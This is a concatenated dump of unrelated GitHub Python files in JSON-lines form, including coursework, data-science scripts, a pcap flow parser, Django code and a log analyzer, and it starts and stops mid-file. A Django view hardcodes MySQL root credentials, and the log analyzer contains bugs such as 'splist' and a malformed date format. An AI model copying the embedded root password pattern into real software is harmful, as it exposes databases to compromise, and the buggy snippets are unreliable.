\"\"\n for input_net in self.input_nets:\n net_id = str(input_net.get_id())\n net_name = input_net.get_name()\n input_vector_str += \"{}\".format(ArgsPool.bool2str(self.args[net_id]))\n return input_vector_str\n\n def evaluate(self, function:hal_py.BooleanFunction) -> str:\n \"\"\"\n Evaluate given function with its arguments taken from self.args dictionary\n\n Args:\n function (hal_py.BooleanFunction): The function to evalueate\n\n Returns:\n str: A character of the evaluation result ('0' or '1')\n \"\"\"\n\n names2eval = function.get_variables()\n args2eval = {}\n for net_name in names2eval:\n args2eval[net_name] = self.args[net_name]\n return ArgsPool.bool2str(function.evaluate(args2eval))\n\n def is_increment_possible(self) -> bool:\n \"\"\"\n Check if maximal possible argument vector value is reached\n\n Returns:\n bool: True if self.max_args_val is not reached\n \"\"\"\n\n return not self.is_finished_states\n\n def increment_args(self):\n \"\"\"\n Increment argument vector by the smallest valid amount (keeping opposite\n pins of FFs with oposite values)\n \"\"\"\n\n self.args_bin += 1\n if self.args_bin == self.max_args_val:\n self.is_finished_states = True\n self.update_state()\n self.validate_args()\n\n def update_state(self):\n \"\"\"\n Parse the integer self.args_bin to the arguments values in the dictionary self.args\n \"\"\"\n\n for bit, var in enumerate(self.net_ids_str):\n if (self.args_bin >> bit) & 1:\n self.args[var] = ONE\n else:\n self.args[var] = ZERO\n\n def validate_args(self):\n \"\"\"\n Increment self.args_bin until all oposite outputs of FFs ('Q' and 'QN' pins)\n have oposite boolean values\n \"\"\"\n\n while not self.is_state_valid():\n self.args_bin += 1\n self.update_state()\n if self.args_bin == self.max_args_val:\n self.is_finished_states = True\n return\n\n def is_state_valid(self) -> bool:\n \"\"\"\n Check if opposite outputs of same FFs ('Q' and 'QN' pins) have opposite values\n\n Returns:\n bool: True if all FFs have valid output net boolean values\n \"\"\"\n \n # Iterate over each function argument and save it to a dictionary\n # of gates-pins. Check if there are arguments which are opposite\n # pins of the same gate and if such pins found, verify that their\n # values are opposite\n existing_pins = {}\n for var_index, cur_net in enumerate(self.net_ids_str):\n cur_gate = self.gate_names[var_index]\n cur_val = self.args[cur_net]\n cur_pin_name = self.pin_names[var_index]\n if cur_gate in existing_pins:\n other_pin_name = existing_pins[cur_gate].name\n if ((cur_pin_name == 'Q' and other_pin_name == 'QN') or\n (cur_pin_name == 'QN' and other_pin_name == 'Q')) and \\\n cur_val == existing_pins[cur_gate].value:\n return False\n existing_pins[cur_gate] = Pin(cur_pin_name, cur_val)\n return True\n\nclass Pin():\n def __init__(self, name, value):\n self.name = name\n self.value = value\n ","repo_name":"vgoshat30/SLOD","sub_path":"ArgsPool.py","file_name":"ArgsPool.py","file_ext":"py","file_size_in_byte":9840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3292604800","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\n\ndef filter_function(input_array):\n return input_array * 0.3\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n rows = 511\n columns = 512\n # used for removing noise\n filter_quantile = 0.90\n\n directory = 'data_maps\\\\'\n # used to add images and remove noise\n summed_arrays = np.zeros((rows, columns))\n\n # makes nice diagram of plots\n fig, axs = plt.subplots(nrows=2, ncols=4, figsize=(9, 6),\n subplot_kw={'xticks': [], 'yticks': []})\n\n for filename, ax in zip(os.listdir(directory), axs.flat):\n # read and convert to big endian\n array = np.fromfile(directory + filename, np.dtype(' div.title_badge_wrap > span.inner_cell > a')\naa = bs.select('td.song > div > span > span > a > span.text')\n#test = bs.find_all('p')\n\n#print('0 : ', url)\n#print('1 : ', song)\n#print('2 : ', test)\n\nsongs = []\nartists = []\n\nfor s in ss:\n songs.append(s.text)\nfor a in aa:\n artists.append(a.text)\n\nfor i in range(len(songs)):\n print(f\"{i+1}위 : {artists[i]} - {songs[i]}\")","repo_name":"cyunanne/workspace","sub_path":"Python/web_crawling/music_top100_cr.py","file_name":"music_top100_cr.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29723823877","text":"#in the name of Allah\nprint(\"in the name of Allah\")\n\ndef m_max(a, b):\n if a > b:\n return a\n return b\n\nn = int(input(\"Enter first number: \"))\nm = int(input(\"Enter second number: \"))\n\nprint(\"max of\", n, \"and\", m, \"is:\", m_max(n, m))\n\n\n","repo_name":"IbrahimOuhamou/ofppt","sub_path":"algo-python/Serie7/Exercice1.py","file_name":"Exercice1.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11269423203","text":"string = raw_input()\n \nfound = False\n# Write the code to find the required palindrome and then assign the variable 'found' a value of True or False\n\n#Create a store list to store count of each character\nstore = [0]*26\n\nfor alpha in string:\n store[ord(alpha)-97] += 1\n#count odd alphas\nodd = 0\n\nfor item in store:\n if item%2 !=0:\n odd +=1\nif odd <= 1:\n found = True\n \nif not found:\n print(\"NO\")\nelse:\n print(\"YES\")\n","repo_name":"vineetkumardoshi/HackerRank","sub_path":"All-Challenges/Math/Game Of Thrones - I.py","file_name":"Game Of Thrones - I.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30227884152","text":"from collections import defaultdict\n\n\ndef solution(numbers):\n numbers = list(sorted(numbers))\n mean = round(sum(numbers) / len(numbers))\n median = numbers[len(numbers) // 2]\n\n number_freq = defaultdict(int)\n for number in numbers:\n number_freq[number] += 1\n\n number_freq = sorted(number_freq.items(), key=lambda x: (-x[1], x[0]))\n most_frequent = number_freq[0][0]\n if len(number_freq) >= 2 and number_freq[0][1] == number_freq[1][1]:\n most_frequent = number_freq[1][0]\n\n diff_max_min = numbers[-1] - numbers[0]\n\n return [mean, median, most_frequent, diff_max_min]\n\n\nif __name__ == \"__main__\":\n n = int(input())\n numbers = list()\n for _ in range(n):\n numbers.append(int(input()))\n\n answer = solution(numbers)\n print('\\n'.join([str(number) for number in answer]))\n","repo_name":"coco-in-bluemoon/baekjoon-online-judge","sub_path":"CLASS 2/2108: 통계학/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30852999729","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport pcap\nimport sys\nimport socket\nfrom BasicPacketInfo import BasicPacketInfo\nfrom BasicFlow import BasicFlow\nfrom FlowGenerator import FlowGenerator\nfrom struct import *\n\nprint ('lets go!')\n\n# creates sniffer!\n\nsniffer = pcap.pcap(name='2.pcap', promisc=True, immediate=True,\n timeout_ms=50)\n\n# initialises address structure helps in printing\n\naddr = lambda pkt, offset: ':'.join(str(ord(pkt[i])) for i in\n range(offset, offset + 4))\nprint ('Sniffer built successfully..')\n\n# loop that process packet as soon as they are caught by sniffer\n\nflow_log = {}\ncount = 0\n\n\n# This function creates a Basic packet info structure from raw IP packets (Ethernet layer is already discarded)\n\ndef getIpv4Info(ts, pkt):\n\n packetInfo = None\n\n # extracts ip header only\n\n ip_hdr = pkt[0:20]\n iph = unpack('!BBHHHBBH4s4s', ip_hdr)\n\n version_ihl = iph[0]\n version = version_ihl >> 4 # converts version into string convertible format\n ihl = version_ihl & 0xF # version gives us ipl\n pktHeaderLength = ihl * 4 # ipl is in that weird form so we convert it into bytes\n\n pktLength = iph[2] # ihl + datlen\n protocol = iph[6]\n\n if protocol == 6:\n tcp_hdr = pkt[pktHeaderLength:pktHeaderLength + 20]\n tcph = unpack('!HHLLBBHHH', tcp_hdr)\n\n # calculates TCP segment and header length\n\n tcp_offset = tcph[4] >> 4\n segmentHeaderLength = tcp_offset * 4\n segmentLength = pktLength - (pktHeaderLength\n + segmentHeaderLength)\n\n # set src,dst,srcPort,dstPort,protocol,timestamp\n\n packetInfo = BasicPacketInfo(\n iph[8],\n iph[9],\n tcph[0],\n tcph[1],\n protocol,\n ts,\n 1,\n )\n packetInfo.setTCPWindow(tcph[6])\n packetInfo.setFlags(tcph[5])\n packetInfo.setPayloadBytes(segmentLength)\n packetInfo.setHeaderBytes(segmentHeaderLength)\n elif protocol == 17:\n\n # print '\\n' + str(packetInfo.getTimestamp())\n\n udp_hdr = pkt[pktHeaderLength:pktHeaderLength + 8]\n udph = unpack('!HHHH', udp_hdr)\n\n # packetInfo = BasicPacketInfo(iph[8],iph[9],udph[0],udph[1],protocol,ts,1)\n\n return packetInfo\n\n\nflowGen = FlowGenerator(True, 120000000, 5000000)\n\nfor (ts, pkt) in sniffer:\n pkt = pkt[sniffer.dloff:] # remove link layer data\n if count == 0:\n st = ts\n ts = 0\n count = 10\n else:\n ts = ts - st\n packetInfo = getIpv4Info(ts, pkt)\n\n # true,120000000L, 5000000L\n\n flowGen.addPacket(packetInfo)\n if packetInfo != None:\n\n # packetInfo.printTcp()\n\n if packetInfo.getFlowId() in flow_log:\n flow_log[packetInfo.getFlowId()].addPacket(packetInfo)\n else:\n flow_log[packetInfo.getFlowId()] = BasicFlow(True,\n packetInfo)\n flow_log[packetInfo.getFlowId()].firstPacket(packetInfo)\n\nprint ('Printing our list!')\nfor (key, val) in flow_log.items():\n val.printStat()\n\nflowGen.listBasic()\n\n ","repo_name":"ghousali17/pysniffer","sub_path":"gakhan7/sniffer.py","file_name":"sniffer.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7743298431","text":"import adsk.core\nimport adsk.fusion\nimport traceback\nimport xml.etree.ElementTree as ET\nimport math\nimport xml.dom.minidom as DOM\nimport os, errno, sys\nfrom collections import defaultdict\nfrom .helpers import *\n\n\ndef exportCASPRcables(self):\n file = open((((self.fileDir + '/caspr/') + self.modelName) + '_cables.xml'), 'w')\n file.write('\\n')\n file.write('\\n')\n cables = ET.Element('cables')\n cables.set('default_cable_set', 'WORKING')\n cable_set = ET.SubElement(cables, 'cable_set')\n cable_set.set('id', 'WORKING')\n i = 0\n for myo in self.myoMuscles:\n cable_ideal = ET.SubElement(cable_set, 'cable_ideal')\n cable_ideal.set('name', ('cable ' + str(i)))\n i = (i + 1)\n cable_ideal.set('attachment_reference', 'com')\n properties = ET.SubElement(cable_ideal, 'properties')\n force_min = ET.SubElement(properties, 'force_min')\n force_min.text = '10'\n force_max = ET.SubElement(properties, 'force_max')\n force_max.text = '80'\n attachments = ET.SubElement(cable_ideal, 'attachments')\n allViaPoints = myo.viaPoints\n allViaPoints.sort(key=(lambda x: x.number))\n for via in allViaPoints:\n attachment = ET.SubElement(attachments, 'attachment')\n link = ET.SubElement(attachment, 'link')\n link.text = via.link\n location = ET.SubElement(attachment, 'location')\n location.text = via.coordinates\n file.write(prettify(cables))\n file.close()\n","repo_name":"menna161/API-Wizard","sub_path":"PyAroma/datasets/prettify/snippets/snippet882426.py","file_name":"snippet882426.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72988457492","text":"from django.http import Http404\nfrom django.urls import reverse\nfrom pytest_mock import MockerFixture\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.status import HTTP_200_OK, HTTP_404_NOT_FOUND\nfrom rest_framework.test import APIRequestFactory\n\nfrom main.tests.factories import FoodFactory, UserFactory\nfrom main.tests.support.drf_view_helpers import (\n sets_http_method_names,\n sets_permission_classes,\n)\nfrom main.tests.support.request_helpers import authenticate\nfrom main.views.food_one import food_one\n\n\ndef test_http_method_names() -> None:\n assert sets_http_method_names(food_one, [\"get\", \"options\"])\n\n\ndef test_permission_classes() -> None:\n permission_classes = [IsAuthenticated]\n assert sets_permission_classes(food_one, permission_classes)\n\n\ndef test_food_not_found(api_rf: APIRequestFactory, mocker: MockerFixture) -> None:\n request = api_rf.get(reverse(\"food_one\", kwargs={\"food_id\": 1}))\n user = UserFactory.build()\n authenticate(request, user)\n mocker.patch(\n \"main.views.food_one.get_object_or_404\",\n autospec=True,\n side_effect=Http404,\n )\n response = food_one(request, 1)\n assert response.status_code == HTTP_404_NOT_FOUND\n\n\ndef test_getting_food_successfully(\n api_rf: APIRequestFactory, mocker: MockerFixture\n) -> None:\n request = api_rf.get(reverse(\"food_one\", kwargs={\"food_id\": 1}))\n user = UserFactory.build()\n authenticate(request, user)\n food = FoodFactory.build()\n mocker.patch(\n \"main.views.food_one.get_object_or_404\", autospec=True, return_value=food\n )\n response = food_one(request, 1)\n assert response.status_code == HTTP_200_OK\n assert response.data[\"data\"][\"foodOne\"][\"name\"] == food.name # type: ignore[index]\n","repo_name":"ptrhvns/meals","sub_path":"api/main/tests/views/food_one_test.py","file_name":"food_one_test.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18627399029","text":"import numpy as np\nimport pandas as pd\nimport os\nimport time\nimport argparse\n\nfrom algo import *\n\nfrom sklearn.svm import SVC\nfrom sklearn.preprocessing import scale\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.model_selection import RepeatedKFold\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"task\",\n help=\"{'fa','sa'}\",\n type=str)\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n\n # define data path\n path = '/data/home/attsig/attention_signature/train_test_data'\n\n # read train and test data, also test on sa\n train_X = np.load(os.path.join(path, f'train_X_{args.task}.npy'))\n test_X = np.load(os.path.join(path, f'test_X_{args.task}.npy'))\n train_Y = np.load(os.path.join(path, f'train_Y_{args.task}.npy'))\n test_Y = np.load(os.path.join(path, f'test_Y_{args.task}.npy'))\n\n mask_NaN = np.load(os.path.join(path,'mask_NaN.npy'))\n\n # num_example = train_X.shape[0]\n\n # sacle data\n # this is because pipeline is not compatible to .coef_\n train_X, test_X = scale(train_X), scale(test_X)\n\n svc = SVC(kernel='linear') # default C=1.0\n\n ############################################################################\n # the C will be fixed to 1.0 to maximize the accuray of the training set\n #params = {'svc__C': np.arange(0, 1.1, 0.1)}\n\n #gs_svc = GridSearchCV(svc_pipe,\n # param_grid=params,\n # scoring='accuracy',\n # cv=int(num_example/2),\n # n_jobs=10) # leave-one-out\n ############################################################################\n random_state = 12883823\n rkf = RepeatedKFold(n_splits=10, n_repeats=10, random_state=random_state)\n\n # result holder\n prediction_result = {}\n beta = {}\n intercept = {}\n\n counter = 0\n for train_inx, test_inx in rkf.split(train_X):\n start = time.time()\n svc.fit(train_X[train_inx], train_Y[train_inx])\n\n prediction_result[counter] = (train_Y[test_inx],\n svc.predict(train_X[test_inx]),\n test_Y,\n svc.predict(test_X))\n #(truth,prediction,truth,prediction)\n beta[counter] = svc.coef_[0]\n intercept[counter] = svc.intercept_[0]\n\n end = time.time()\n print(f'The {counter}th iteration of {args.task} is completed,\\\n using time {end - start}s.')\n counter += 1\n\n # save results\n save_path = '/data/home/attsig/attention_signature/svc_analysis/prediction_results'\n\n \n np.save(os.path.join(save_path, args.task, 'prediction_results.npy'),\n prediction_result)\n np.save(os.path.join(save_path, args.task, 'beta.npy'),\n beta)\n np.save(os.path.join(save_path, args.task, 'intercept.npy'),\n intercept)\n\n print(f'{args.task}: Saving Completed.')\n","repo_name":"Anmin-Yang/attsig","sub_path":"performance_evaluateion/3.0_SVC_prediction.py","file_name":"3.0_SVC_prediction.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12620107172","text":"import os\r\n\r\nihExpessXML = os.path.join(\"./IHExpressRqXml\", \"000050400.xml\")\r\ncogitateXML = os.path.join(\"./../NewRater/NewRater/App_Data\", \"SGIH-GAPPA.xml\")\r\n\r\n\r\n\r\n\r\n\r\ndef readXML(inputXML):\r\n taglist = [] \r\n lineList = inputXML.split(\"\\n\")\r\n policyEndTag = True\r\n\r\n print(\"Inside Read XML Method....\")\r\n\r\n signInTag = \"\"\"\r\n admin\r\n admin\r\n 1.0.0.0\r\n 2.0.0.0\r\n 2.0.0.0\r\n 2017-12-17 08:11:30.154\r\n 2710\r\n Y\r\n N\r\n Y\r\n Y\r\n N\r\n Y\r\n N\r\n N\r\n Y\r\n GAPA\r\n https://rater.cogitate.us/api/rater\r\n PPA\r\n IH.AutoRaterMigration\r\n \"\"\"\r\n\r\n\r\n # f = open(ihExpessXML, \"r\")\r\n for line in lineList: \r\n line = line.replace(\"\\n\",\"\") \r\n if \"ibdoc\" in line:\r\n line = line.replace(\"ibdoc\",\"Rater\")\r\n if \"\",\"\")\r\n line = line.replace(' v=\"',\">\")\r\n line = line.replace('\"\" in line:\r\n line = line.replace('',\"\")\r\n if \"\"\r\n if \"\" in line:\r\n line = \"\"\r\n taglist.append(line)\r\n print(line)\r\n \r\n print(\"##############################################\")\r\n\r\n fwrite= open(cogitateXML,\"w+\")\r\n fwrite.close\r\n fwrite= open(cogitateXML,\"w+\")\r\n\r\n for i in range(len(taglist)):\r\n if(\"\" in taglist[i]):\r\n print(taglist[i])\r\n fwrite.write(taglist[i]+\"\\n\")\r\n print(signInTag)\r\n fwrite.write(signInTag+\"\\n\")\r\n elif('code=\"Policy\"' in taglist[i]):\r\n print(\"\")\r\n fwrite.write(\"\\n\")\r\n elif(policyEndTag and 'code=\"Driver\"' in taglist[i+1]):\r\n policyEndTag = False\r\n print(\"\") \r\n fwrite.write(\"\\n\")\r\n elif(\">\" in taglist[i]):\r\n print(taglist[i].replace(\"/>\",\">\"))\r\n fwrite.write(taglist[i].replace(\"/>\",\">\")+\"\\n\")\r\n else:\r\n fwrite.write(taglist[i]+\"\\n\")\r\n\t # print(taglist[i])\r\n \r\n fwrite.close\r\n\r\n\r\n# def writeFile(inputXML):\r\n# f = open(ihExpessXML, \"w+\")\r\n# f.write(inputXML.replace(\"\\n\",\"\"))\r\n# f.close\r\n # readXML()","repo_name":"magogate/IhExpressToCogitateRater","sub_path":"IhExpressToCogitateRater/ConvertXML.py","file_name":"ConvertXML.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"73361890773","text":"'''\nExercício 2\n---\nLeia um número e exiba na tela o seu dobro, o triplo e sua raiz quadrada.\nUma dica é que a raiz quadrada é a mesma coisa que realizarmos a potência de 0.5.\n'''\n\n# Entrada do número\nn = int(input('Digite um número: '))\n\n# Realizando os cálculos\ndobro = n * 2\ntriplo = n * 3\nraiz = n ** 0.5\n\n# Exibindo na tela\nprint('Número {} - Dobro {} - Triplo {} - Raiz quadrada {:.1f}'. format(n, dobro, triplo, raiz))\n\n\n\n\n","repo_name":"jgjefersonluis/cursoPythonUdemyDiego","sub_path":"secao01_fundamentos/exercicios/exercicio02C.py","file_name":"exercicio02C.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32810948436","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param {ListNode} head\n # @return {ListNode}\n def reverseList(self, head):\n ans = None\n while head is not None:\n second = head.next\n head.next = ans\n ans = head\n head = second\n return ans\n \n","repo_name":"wangqian1992511/LeetCode","sub_path":"206 Reverse Linked List/001.py","file_name":"001.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"12293108011","text":"import pathlib\n\nimport os\nfrom functools import partial\nfrom sentence_splitter import SentenceSplitter\nimport nltk.data\nfrom nltk.corpus import stopwords\nimport pyphen\n\nimport re\nimport regex\nimport string\n\nfrom collections import OrderedDict\n\nPARENT_DIR = pathlib.Path(__file__).parent\n\nlanguage_index = {\"ast\" : \"Asturian\",\n \"bg\" : \"Bulgarian\",\n \"ca\" : \"Catalan\",\n \"cs\" : \"Czech\",\n \"cy\" : \"Welsh\",\n \"de\" : \"German\",\n \"en\" : \"English\",\n \"es\" : \"Spanish\",\n \"et\" : \"Estonian\",\n \"fa\" : \"Farsi\",\n \"fr\" : \"French\",\n \"ga\" : \"Irish\",\n \"gd\" : \"Scottish Gaelic\",\n \"gl\" : \"Galician\",\n \"gv\" : \"Manx Gaelic\",\n \"hu\" : \"Hungarian\",\n \"it\" : \"Italian\",\n \"pt\" : \"Portuguese\",\n \"ro\" : \"Romanian\",\n \"sk\" : \"Slovak\",\n \"sl\" : \"Slovene\",\n \"sv\" : \"Swedish\",\n \"uk\" : \"Ukrainian\"}\n\nnltk_stopwords = {\"ar\" : 'arabic',\n \"az\" : 'azerbaijani',\n \"da\" : 'danish',\n \"nl\" : 'dutch',\n \"en\" : 'english',\n \"fi\" : 'finnish',\n \"fr\" : 'french',\n \"de\" : 'german',\n \"el\" : 'greek',\n \"hu\" : 'hungarian',\n \"in\" : 'indonesian',\n \"it\" : 'italian',\n \"kk\" : 'kazakh',\n \"ne\" : 'nepali',\n \"no\" : 'norwegian',\n \"pt\" : 'portuguese',\n \"ro\" : 'romanian',\n \"ru\" : 'russian',\n \"es\" : 'spanish',\n \"sv\" : 'swedish',\n \"tr\" : 'turkish'}\n\npunkt_tokenizers = {\"da\" : 'danish.pickle',\n \"et\" : 'estonian.pickle',\n \"de\" : 'german.pickle',\n \"no\" : 'norwegian.pickle',\n \"sl\" : 'slovene.pickle',\n \"tr\" : 'turkish.pickle',\n \"nl\" : 'dutch.pickle',\n \"fi\" : 'finnish.pickle',\n \"el\" : 'greek.pickle',\n \"pl\" : 'polish.pickle',\n \"es\" : 'spanish.pickle',\n \"cs\" : 'czech.pickle',\n \"en\" : 'english.pickle',\n \"fr\" : 'french.pickle',\n \"it\" : 'italian.pickle',\n \"pt\" : 'portuguese.pickle',\n \"sv\" : 'swedish.pickle'}\n\nsplitter_sent_tok = {\"ca\" : 'Catalan (ca)',\n \"cs\" : 'Czech (cs)',\n \"da\" : 'Danish (da)',\n \"nl\" : 'Dutch (nl)',\n \"en\" : 'English (en)',\n \"fi\" : 'Finnish (fi)',\n \"fr\" : 'French (fr)',\n \"de\" : 'German (de)',\n \"el\" : 'Greek (el)',\n \"hu\" : 'Hungarian (hu)',\n \"is\" : 'Icelandic (is)',\n \"it\" : 'Italian (it)',\n \"lv\" : 'Latvian (lv)',\n \"lt\" : 'Lithuanian (lt)',\n \"no\" : 'Norwegian (Bokmål) (no)',\n \"pl\" : 'Polish (pl)',\n \"pt\" : 'Portuguese (pt)',\n \"ro\" : 'Romanian (ro)',\n \"ru\" : 'Russian (ru)',\n \"sk\" : 'Slovak (sk)',\n \"sl\" : 'Slovene (sl)',\n \"es\" : 'Spanish (es)',\n \"sv\" : 'Swedish (sv)',\n \"tr\" : 'Turkish (tr)'}\n\npyphen_dicts = {\"de\" : \"de_DE\",\n \"en\" : \"en\",\n \"es\" : \"es\",\n \"fr\" : \"fr\",\n \"hu\" : \"hu_HU\",\n \"it\" : \"it\",\n \"pt\" : \"pt_BR\",\n \"ro\" : \"ro\",\n \"sv\" : \"sv\"}\n\n\nclass Lemmatizer(object):\n\n def __init__(self, term_dictionary, language_code, language_name):\n self._term_dictionary = term_dictionary\n self._language_code = language_code\n self._language_name = language_name\n if self._language_code in punkt_tokenizers:\n splitter = nltk.data.load(\n \"tokenizers/punkt/%s\" % punkt_tokenizers[self._language_code]\n )\n self.sent_split = splitter.tokenize\n elif self._language_code in splitter_sent_tok:\n splitter = SentenceSplitter(language=self._language_code)\n self.sent_split = splitter.split\n else:\n # If nothing works, use naive sentence splitter\n self.sent_split = partial(re.split,\n r'(?[\\d\\.]{7,}) - - \\[(?P[^\\[\\]]+)\\] \"(?P[^\"]+)\" \\\n(?P\\d+) (?P\\d+) \"[^\"]+\" \"(?P[^\"]+)\"'''\n\nregex = re.compile(pattern)\n\ndef extract(line):\n matcher = regex.match(line)\n if matcher:\n return {k:ops.get(k, lambda x:x)(v) for k,v in matcher.groupdict().items()}\n\nops = {\n 'datetime': lambda timestr:datetime.datetime.strptime(timestr, \"%d\\%b\\%Y:%H:%M:%S %z\"),\n 'status': int,\n 'size': int,\n 'request': lambda request:dict(zip(('method','url','protocol'), request.splist()))\n}\n\ndef openfile(path:str):\n with open(path) as f:\n for line in f:\n fields = extract(line)\n if fields:\n yield fields\n else:\n continue\n\ndef load(*path):\n for item in path:\n p = Path(item)\n if not p.exists():\n continue\n if p.is_dir():\n for file in p.iterdir():\n if file.is_file():\n yield from openfile(str(file))\n elif p.is_file():\n yield from openfile(str(p))\n\ndef window(src:Queue, handler, width:int, interval:int):\n start = datetime.datetime.strptime('20170101 000000 +0800', '%Y%m%d %H%M%S %z')\n current = datetime.datetime.strptime('20170101 010000 +0800', '%Y%m%d %H%M%S %z')\n\n buffer = []\n delta = datetime.timedelta(seconds=width-interval)\n\n while True:\n data = src.get()\n if data:\n buffer.append(data)\n current = data['datetime']\n if (current-start).total_seconds() >= interval:\n ret = handler(buffer)\n print('{:.2f}'.format(ret))\n start = current\n\n buffer = [x for x in buffer if x['datetime'] > current - delta]\n\ndef handler(iterable):\n return sum(map(lambda x:x['value'], iterable)) / len(iterable)\n\ndef donothing_handler(iterable:list):\n return iterable\n\ndef status_handler(iterable):\n status = {}\n for item in iterable:\n key = item['status']\n status[key] = status.get(key, 0) + 1\n total = len(iterable)\n return {k:status[k]/total for k,v in status.items()}\n\ndef dispatcher(src):\n handlers = []\n queues = []\n\n def reg(handler, width:int, interval:int):\n q = Queue()\n queues.append(q)\n\n h = threading.Thread(target=window, args=(q, handler, width, interval))\n handlers.append(h)\n\n def run():\n for t in handlers:\n t.start()\n\n for item in src:\n for q in queues:\n q.put(item)\n return reg, run\n\nreg,run = dispatcher(load('test.log'))\n\nreg(handler, 10, 5)\nrun()\n","repo_name":"xiaoyi-fante/python","sub_path":"文件加载及分析器.py","file_name":"文件加载及分析器.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30064770480","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom pandas.plotting import parallel_coordinates\nfrom pandas.api.types import is_numeric_dtype\n\n# lab 2 part 2.1\nmissing_values = [\" ?\"]\ndata = pd.read_csv('http://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data',header=None, na_values = missing_values)\ndata.columns=['age', 'workclass', 'fnlwgt', 'education', 'education-num', 'martial-status', 'occupation', 'relationship', 'race', 'sex','capital-gain', 'capital-loss', 'hours-per-week', 'native-country','income']\n\n# Histogram \"before\" for occupation\ndata['occupation'].hist(bins=14, figsize=(12,8))\nplt.xticks(rotation='vertical')\nplt.show()\n\ndata['age'] = data['age'].fillna(38.58)\ndata['workclass'] = data['workclass'].fillna('Private')\ndata['fnlwgt'] = data['fnlwgt'].fillna(189778.37)\ndata['education'] = data['education'].fillna('HS-grad')\ndata['education-num'] = data['education-num'].fillna(10.08)\ndata['martial-status'] = data['martial-status'].fillna('Married-civ-spouse')\ndata['occupation'] = data['occupation'].fillna('Prof-specialty')\ndata['relationship'] = data['relationship'].fillna('Husband')\ndata['race'] = data['race'].fillna('White')\ndata['sex'] = data['sex'].fillna('Male')\ndata['capital-gain'] = data['capital-gain'].fillna(1077.65)\ndata['capital-loss'] = data['capital-loss'].fillna(87.30)\ndata['hours-per-week'] = data['hours-per-week'].fillna(40.44)\ndata['native-country'] = data['native-country'].fillna('UnitedStates')\ndata['income'] = data['income'].fillna(' <=50K')\n\n# Histogram \"after\" for occupation\ndata['occupation'].hist(bins=14, figsize=(12,8))\nplt.xticks(rotation='vertical')\nplt.show()\n","repo_name":"mayurbhai24/Data-Mining-Lab","sub_path":"lab2_part2_1.py","file_name":"lab2_part2_1.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38050726950","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\ndef designerDoorMat(N,M):\n for i in range(1, N, 2): \n print((\".|.\"*i).center(M, '-'))\n print((\"WELCOME\").center(M, '-'))\n for i in range(N-2, -1, -2): \n print((\".|.\"*i).center(M, '-'))\n\ndef designerDoorMat2(N,M):\n mid = N // 2\n padding = M // 2 - 1\n mid_padding = (M - 7) // 2\n for i in range(mid):\n cur = padding-3*i\n times = (2*i)+1 \n print((\"-\"*cur)+(\".|.\"*times)+(\"-\"*cur))\n print((\"-\"*mid_padding)+\"WELCOME\"+(\"-\"*mid_padding))\n for i in range(mid-1,-1,-1):\n cur = padding-3*i\n times = (2*i)+1 \n print((\"-\"*cur)+(\".|.\"*times)+(\"-\"*cur))\n\nif __name__ == '__main__':\n N, M = map(int, input().split())\n designerDoorMat(N,M)\n","repo_name":"ferconde87/HackerRank","sub_path":"Python/designDoorMat.py","file_name":"designDoorMat.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72040946454","text":"import json\nimport random\nimport time\nimport requests\nfrom django.http import HttpResponse\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.template import loader\nfrom .forms import JavascriptForm\nfrom .models import DomainInfo, DifficultyInfo\nfrom .js_level import *\nfrom .form_data_level import *\nimport mysql.connector\n\ndef save_to_db(domain, js_data_items , form_data_items):\n\tdb = mysql.connector.connect(\n\t\t\thost=\"localhost\",\n\t\t\tuser=\"root\",\n\t\t\tpasswd=\"Helloworld@12345\",\n\t\t\tdatabase=\"set_database\",\n\t\t\tuse_unicode=True, 